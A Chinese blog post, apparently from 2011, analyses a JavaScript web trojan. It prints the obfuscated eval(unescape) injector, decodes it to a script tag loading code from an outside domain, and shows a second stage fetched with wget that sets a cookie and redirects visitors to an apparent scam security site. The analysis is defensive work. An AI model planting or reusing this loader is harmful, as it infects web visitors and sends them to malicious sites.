本文起源于:http://www.path8.net/tn/archives/4235
木马解剖:
这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235 ;但笔者不能保证对本文的转载也是安全。 <script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。
新建一个.html文件,内容如下:
<script>document.write(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B”))</script>
在chrome里查看,但得到提示消息:
看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马 (一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。
使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下
<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
小心,这段也是木马 document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');
看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。
看看它是什么东西,要有点探索精神~~
这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?
[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33
[feng@fsc tmp]$ cat js.php\?kk\=33
function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+”=”+escape(vbeal)+”;expires=”+owc3te;
}
function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+”=”)!=-1)return “1”;
return “”;
}
if (wsdfsdd(“eererfero”)==””){
ssdfsc(“eererfero”,”1″,20);
var derverv=”http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D”;
window.top.location.replace(derverv);
}
还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:
wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D
以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:
xxx.js.html.zip 木马文件,慎重下载
还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数
[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32 --2011-03-19 12:12:06-- http://lessthenaminutehandle.com/js.php?kk=32 正在解析主机 lessthenaminutehandle.com... 91.193.194.110 正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度:573 [text/html] 正在保存至: “js.php?kk=32” 100%[======================================>] 573 --.-K/s in 0s 2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573]) [feng@fsc tmp]$ cat js.php\?kk\=32 function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){ var ewefwe=new Date(); var vcwc = ewefwe.getDate()+ebtal; ewefwe.setDate(vcwc); var owc3te = ewefwe.toGMTString(); document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te; } function wsdfsdd(cefrvwerfv3rg5e){ if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1"; return ""; } if (wsdfsdd("eererfero")==""){ ssdfsc("eererfero","1",20); var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D"; window.top.location.replace(derverv); }
好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!
貌似很复杂,都快十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。
突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”